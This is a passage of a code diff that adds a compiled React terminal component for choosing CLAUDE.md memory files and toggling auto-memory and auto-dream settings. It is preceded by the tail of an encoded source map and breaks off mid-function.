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
src/components/memory/MemoryFileSelector.tsx ADDED
@@ -0,0 +1,438 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { c as _c } from "react/compiler-runtime";
2
+ import { feature } from 'bun:bundle';
3
+ import chalk from 'chalk';
4
+ import { mkdir } from 'fs/promises';
5
+ import { join } from 'path';
6
+ import * as React from 'react';
7
+ import { use, useEffect, useState } from 'react';
8
+ import { getOriginalCwd } from '../../bootstrap/state.js';
9
+ import { useExitOnCtrlCDWithKeybindings } from '../../hooks/useExitOnCtrlCDWithKeybindings.js';
10
+ import { Box, Text } from '../../ink.js';
11
+ import { useKeybinding } from '../../keybindings/useKeybinding.js';
12
+ import { getAutoMemPath, isAutoMemoryEnabled } from '../../memdir/paths.js';
13
+ import { logEvent } from '../../services/analytics/index.js';
14
+ import { isAutoDreamEnabled } from '../../services/autoDream/config.js';
15
+ import { readLastConsolidatedAt } from '../../services/autoDream/consolidationLock.js';
16
+ import { useAppState } from '../../state/AppState.js';
17
+ import { getAgentMemoryDir } from '../../tools/AgentTool/agentMemory.js';
18
+ import { openPath } from '../../utils/browser.js';
19
+ import { getMemoryFiles, type MemoryFileInfo } from '../../utils/claudemd.js';
20
+ import { getClaudeConfigHomeDir } from '../../utils/envUtils.js';
21
+ import { getDisplayPath } from '../../utils/file.js';
22
+ import { formatRelativeTimeAgo } from '../../utils/format.js';
23
+ import { projectIsInGitRepo } from '../../utils/memory/versions.js';
24
+ import { updateSettingsForSource } from '../../utils/settings/settings.js';
25
+ import { Select } from '../CustomSelect/index.js';
26
+ import { ListItem } from '../design-system/ListItem.js';
27
+
28
+ /* eslint-disable @typescript-eslint/no-require-imports */
29
+ const teamMemPaths = feature('TEAMMEM') ? require('../../memdir/teamMemPaths.js') as typeof import('../../memdir/teamMemPaths.js') : null;
30
+ /* eslint-enable @typescript-eslint/no-require-imports */
31
+
32
+ interface ExtendedMemoryFileInfo extends MemoryFileInfo {
33
+ isNested?: boolean;
34
+ exists: boolean;
35
+ }
36
+
37
+ // Remember last selected path
38
+ let lastSelectedPath: string | undefined;
39
+ const OPEN_FOLDER_PREFIX = '__open_folder__';
40
+ type Props = {
41
+ onSelect: (path: string) => void;
42
+ onCancel: () => void;
43
+ };
44
+ export function MemoryFileSelector(t0) {
45
+ const $ = _c(58);
46
+ const {
47
+ onSelect,
48
+ onCancel
49
+ } = t0;
50
+ const existingMemoryFiles = use(getMemoryFiles());
51
+ const userMemoryPath = join(getClaudeConfigHomeDir(), "CLAUDE.md");
52
+ const projectMemoryPath = join(getOriginalCwd(), "CLAUDE.md");
53
+ const hasUserMemory = existingMemoryFiles.some(f => f.path === userMemoryPath);
54
+ const hasProjectMemory = existingMemoryFiles.some(f_0 => f_0.path === projectMemoryPath);
55
+ const allMemoryFiles = [...existingMemoryFiles.filter(_temp).map(_temp2), ...(hasUserMemory ? [] : [{
56
+ path: userMemoryPath,
57
+ type: "User" as const,
58
+ content: "",
59
+ exists: false
60
+ }]), ...(hasProjectMemory ? [] : [{
61
+ path: projectMemoryPath,
62
+ type: "Project" as const,
63
+ content: "",
64
+ exists: false
65
+ }])];
66
+ const depths = new Map();
67
+ const memoryOptions = allMemoryFiles.map(file => {
68
+ const displayPath = getDisplayPath(file.path);
69
+ const existsLabel = file.exists ? "" : " (new)";
70
+ const depth = file.parent ? (depths.get(file.parent) ?? 0) + 1 : 0;
71
+ depths.set(file.path, depth);
72
+ const indent = depth > 0 ? " ".repeat(depth - 1) : "";
73
+ let label;
74
+ if (file.type === "User" && !file.isNested && file.path === userMemoryPath) {
75
+ label = "User memory";
76
+ } else {
77
+ if (file.type === "Project" && !file.isNested && file.path === projectMemoryPath) {
78
+ label = "Project memory";
79
+ } else {
80
+ if (depth > 0) {
81
+ label = `${indent}L ${displayPath}${existsLabel}`;
82
+ } else {
83
+ label = `${displayPath}`;
84
+ }
85
+ }
86
+ }
87
+ let description;
88
+ const isGit = projectIsInGitRepo(getOriginalCwd());
89
+ if (file.type === "User" && !file.isNested) {
90
+ description = "Saved in ~/.claude/CLAUDE.md";
91
+ } else {
92
+ if (file.type === "Project" && !file.isNested && file.path === projectMemoryPath) {
93
+ description = `${isGit ? "Checked in at" : "Saved in"} ./CLAUDE.md`;
94
+ } else {
95
+ if (file.parent) {
96
+ description = "@-imported";
97
+ } else {
98
+ if (file.isNested) {
99
+ description = "dynamically loaded";
100
+ } else {
101
+ description = "";
102
+ }
103
+ }
104
+ }
105
+ }
106
+ return {
107
+ label,
108
+ value: file.path,
109
+ description
110
+ };
111
+ });
112
+ const folderOptions = [];
113
+ const agentDefinitions = useAppState(_temp3);
114
+ if (isAutoMemoryEnabled()) {
115
+ let t1;
116
+ if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
117
+ t1 = {
118
+ label: "Open auto-memory folder",
119
+ value: `${OPEN_FOLDER_PREFIX}${getAutoMemPath()}`,
120
+ description: ""
121
+ };
122
+ $[0] = t1;
123
+ } else {
124
+ t1 = $[0];
125
+ }
126
+ folderOptions.push(t1);
127
+ if (feature("TEAMMEM") && teamMemPaths.isTeamMemoryEnabled()) {
128
+ let t2;
129
+ if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
130
+ t2 = {
131
+ label: "Open team memory folder",
132
+ value: `${OPEN_FOLDER_PREFIX}${teamMemPaths.getTeamMemPath()}`,
133
+ description: ""
134
+ };
135
+ $[1] = t2;
136
+ } else {
137
+ t2 = $[1];
138
+ }
139
+ folderOptions.push(t2);
140
+ }
141
+ for (const agent of agentDefinitions.activeAgents) {
142
+ if (agent.memory) {
143
+ const agentDir = getAgentMemoryDir(agent.agentType, agent.memory);
144
+ folderOptions.push({
145
+ label: `Open ${chalk.bold(agent.agentType)} agent memory`,
146
+ value: `${OPEN_FOLDER_PREFIX}${agentDir}`,
147
+ description: `${agent.memory} scope`
148
+ });
149
+ }
150
+ }
151
+ }
152
+ memoryOptions.push(...folderOptions);
153
+ let t1;
154
+ if ($[2] !== memoryOptions) {
155
+ t1 = lastSelectedPath && memoryOptions.some(_temp4) ? lastSelectedPath : memoryOptions[0]?.value || "";
156
+ $[2] = memoryOptions;
157
+ $[3] = t1;
158
+ } else {
159
+ t1 = $[3];
160
+ }
161
+ const initialPath = t1;
162
+ const [autoMemoryOn, setAutoMemoryOn] = useState(isAutoMemoryEnabled);
163
+ const [autoDreamOn, setAutoDreamOn] = useState(isAutoDreamEnabled);
164
+ const [showDreamRow] = useState(isAutoMemoryEnabled);
165
+ const isDreamRunning = useAppState(_temp6);
166
+ const [lastDreamAt, setLastDreamAt] = useState(null);
167
+ let t2;
168
+ if ($[4] !== showDreamRow) {
169
+ t2 = () => {
170
+ if (!showDreamRow) {
171
+ return;
172
+ }
173
+ readLastConsolidatedAt().then(setLastDreamAt);
174
+ };
175
+ $[4] = showDreamRow;
176
+ $[5] = t2;
177
+ } else {
178
+ t2 = $[5];
179
+ }
180
+ let t3;
181
+ if ($[6] !== isDreamRunning || $[7] !== showDreamRow) {
182
+ t3 = [showDreamRow, isDreamRunning];
183
+ $[6] = isDreamRunning;
184
+ $[7] = showDreamRow;
185
+ $[8] = t3;
186
+ } else {
187
+ t3 = $[8];
188
+ }
189
+ useEffect(t2, t3);
190
+ let t4;
191
+ if ($[9] !== isDreamRunning || $[10] !== lastDreamAt) {
192
+ t4 = isDreamRunning ? "running" : lastDreamAt === null ? "" : lastDreamAt === 0 ? "never" : `last ran ${formatRelativeTimeAgo(new Date(lastDreamAt))}`;
193
+ $[9] = isDreamRunning;
194
+ $[10] = lastDreamAt;
195
+ $[11] = t4;
196
+ } else {
197
+ t4 = $[11];
198
+ }
199
+ const dreamStatus = t4;
200
+ const [focusedToggle, setFocusedToggle] = useState(null);
201
+ const toggleFocused = focusedToggle !== null;
202
+ const lastToggleIndex = showDreamRow ? 1 : 0;
203
+ let t5;
204
+ if ($[12] !== autoMemoryOn) {
205
+ t5 = function handleToggleAutoMemory() {
206
+ const newValue = !autoMemoryOn;
207
+ updateSettingsForSource("userSettings", {
208
+ autoMemoryEnabled: newValue
209
+ });
210
+ setAutoMemoryOn(newValue);
211
+ logEvent("tengu_auto_memory_toggled", {
212
+ enabled: newValue
213
+ });
214
+ };
215
+ $[12] = autoMemoryOn;
216
+ $[13] = t5;
217
+ } else {
218
+ t5 = $[13];
219
+ }
220
+ const handleToggleAutoMemory = t5;
221
+ let t6;
222
+ if ($[14] !== autoDreamOn) {
223
+ t6 = function handleToggleAutoDream() {
224
+ const newValue_0 = !autoDreamOn;
225
+ updateSettingsForSource("userSettings", {
226
+ autoDreamEnabled: newValue_0
227
+ });
228
+ setAutoDreamOn(newValue_0);
229
+ logEvent("tengu_auto_dream_toggled", {
230
+ enabled: newValue_0
231
+ });
232
+ };
233
+ $[14] = autoDreamOn;
234
+ $[15] = t6;
235
+ } else {
236
+ t6 = $[15];
237
+ }
238
+ const handleToggleAutoDream = t6;
239
+ useExitOnCtrlCDWithKeybindings();
240
+ let t7;
241
+ if ($[16] === Symbol.for("react.memo_cache_sentinel")) {
242
+ t7 = {
243
+ context: "Confirmation"
244
+ };
245
+ $[16] = t7;
246
+ } else {
247
+ t7 = $[16];
248
+ }
249
+ useKeybinding("confirm:no", onCancel, t7);
250
+ let t8;
251
+ if ($[17] !== focusedToggle || $[18] !== handleToggleAutoDream || $[19] !== handleToggleAutoMemory) {
252
+ t8 = () => {
253
+ if (focusedToggle === 0) {
254
+ handleToggleAutoMemory();
255
+ } else {
256
+ if (focusedToggle === 1) {
257
+ handleToggleAutoDream();
258
+ }
259
+ }
260
+ };
261
+ $[17] = focusedToggle;
262
+ $[18] = handleToggleAutoDream;
263
+ $[19] = handleToggleAutoMemory;
264
+ $[20] = t8;
265
+ } else {
266
+ t8 = $[20];
267
+ }
268
+ let t9;
269
+ if ($[21] !== toggleFocused) {
270
+ t9 = {
271
+ context: "Confirmation",
272
+ isActive: toggleFocused
273
+ };
274
+ $[21] = toggleFocused;
275
+ $[22] = t9;
276
+ } else {
277
+ t9 = $[22];
278
+ }
279
+ useKeybinding("confirm:yes", t8, t9);
280
+ let t10;
281
+ if ($[23] !== lastToggleIndex) {
282
+ t10 = () => {
283
+ setFocusedToggle(prev => prev !== null && prev < lastToggleIndex ? prev + 1 : null);
284
+ };
285
+ $[23] = lastToggleIndex;
286
+ $[24] = t10;
287
+ } else {
288
+ t10 = $[24];
289
+ }
290
+ let t11;
291
+ if ($[25] !== toggleFocused) {
292
+ t11 = {
293
+ context: "Select",
294
+ isActive: toggleFocused
295
+ };
296
+ $[25] = toggleFocused;
297
+ $[26] = t11;
298
+ } else {
299
+ t11 = $[26];
300
+ }
301
+ useKeybinding("select:next", t10, t11);
302
+ let t12;
303
+ if ($[27] === Symbol.for("react.memo_cache_sentinel")) {
304
+ t12 = () => {
305
+ setFocusedToggle(_temp7);
306
+ };
307
+ $[27] = t12;
308
+ } else {
309
+ t12 = $[27];
310
+ }
311
+ let t13;
312
+ if ($[28] !== toggleFocused) {
313
+ t13 = {
314
+ context: "Select",
315
+ isActive: toggleFocused
316
+ };
317
+ $[28] = toggleFocused;
318
+ $[29] = t13;
319
+ } else {
320
+ t13 = $[29];
321
+ }
322
+ useKeybinding("select:previous", t12, t13);
323
+ const t14 = focusedToggle === 0;
324
+ const t15 = autoMemoryOn ? "on" : "off";
325
+ let t16;
326
+ if ($[30] !== t15) {
327
+ t16 = <Text>Auto-memory: {t15}</Text>;
328
+ $[30] = t15;
329
+ $[31] = t16;
330
+ } else {
331
+ t16 = $[31];
332
+ }
333
+ let t17;
334
+ if ($[32] !== t14 || $[33] !== t16) {
335
+ t17 = <ListItem isFocused={t14}>{t16}</ListItem>;
336
+ $[32] = t14;
337
+ $[33] = t16;
338
+ $[34] = t17;
339
+ } else {
340
+ t17 = $[34];
341
+ }
342
+ let t18;
343
+ if ($[35] !== autoDreamOn || $[36] !== dreamStatus || $[37] !== focusedToggle || $[38] !== isDreamRunning || $[39] !== showDreamRow) {
344
+ t18 = showDreamRow && <ListItem isFocused={focusedToggle === 1} styled={false}><Text color={focusedToggle === 1 ? "suggestion" : undefined}>Auto-dream: {autoDreamOn ? "on" : "off"}{dreamStatus && <Text dimColor={true}> · {dreamStatus}</Text>}{!isDreamRunning && autoDreamOn && <Text dimColor={true}> · /dream to run</Text>}</Text></ListItem>;
345
+ $[35] = autoDreamOn;
346
+ $[36] = dreamStatus;
347
+ $[37] = focusedToggle;
348
+ $[38] = isDreamRunning;
349
+ $[39] = showDreamRow;
350
+ $[40] = t18;
351
+ } else {
352
+ t18 = $[40];
353
+ }
354
+ let t19;
355
+ if ($[41] !== t17 || $[42] !== t18) {
356
+ t19 = <Box flexDirection="column" marginBottom={1}>{t17}{t18}</Box>;
357
+ $[41] = t17;
358
+ $[42] = t18;
359
+ $[43] = t19;
360
+ } else {
361
+ t19 = $[43];
362
+ }
363
+ let t20;
364
+ if ($[44] !== onSelect) {
365
+ t20 = value => {
366
+ if (value.startsWith(OPEN_FOLDER_PREFIX)) {
367
+ const folderPath = value.slice(OPEN_FOLDER_PREFIX.length);
368
+ mkdir(folderPath, {
369
+ recursive: true
370
+ }).catch(_temp8).then(() => openPath(folderPath));
371
+ return;
372
+ }
373
+ lastSelectedPath = value;
374
+ onSelect(value);
375
+ };
376
+ $[44] = onSelect;
377
+ $[45] = t20;
378
+ } else {
379
+ t20 = $[45];
380
+ }
381
+ let t21;
382
+ if ($[46] !== lastToggleIndex) {
383
+ t21 = () => setFocusedToggle(lastToggleIndex);
384
+ $[46] = lastToggleIndex;
385
+ $[47] = t21;
386
+ } else {
387
+ t21 = $[47];
388
+ }
389
+ let t22;
390
+ if ($[48] !== initialPath || $[49] !== memoryOptions || $[50] !== onCancel || $[51] !== t20 || $[52] !== t21 || $[53] !== toggleFocused) {
391
+ t22 = <Select defaultFocusValue={initialPath} options={memoryOptions} isDisabled={toggleFocused} onChange={t20} onCancel={onCancel} onUpFromFirstItem={t21} />;
392
+ $[48] = initialPath;
393
+ $[49] = memoryOptions;
394
+ $[50] = onCancel;
395
+ $[51] = t20;
396
+ $[52] = t21;
397
+ $[53] = toggleFocused;
398
+ $[54] = t22;
399
+ } else {
400
+ t22 = $[54];
401
+ }
402
+ let t23;
403
+ if ($[55] !== t19 || $[56] !== t22) {
404
+ t23 = <Box flexDirection="column" width="100%">{t19}{t22}</Box>;
405
+ $[55] = t19;
406
+ $[56] = t22;
407
+ $[57] = t23;
408
+ } else {
409
+ t23 = $[57];
410
+ }
411
+ return t23;
412
+ }
413
+ function _temp8() {}
414
+ function _temp7(prev_0) {
415
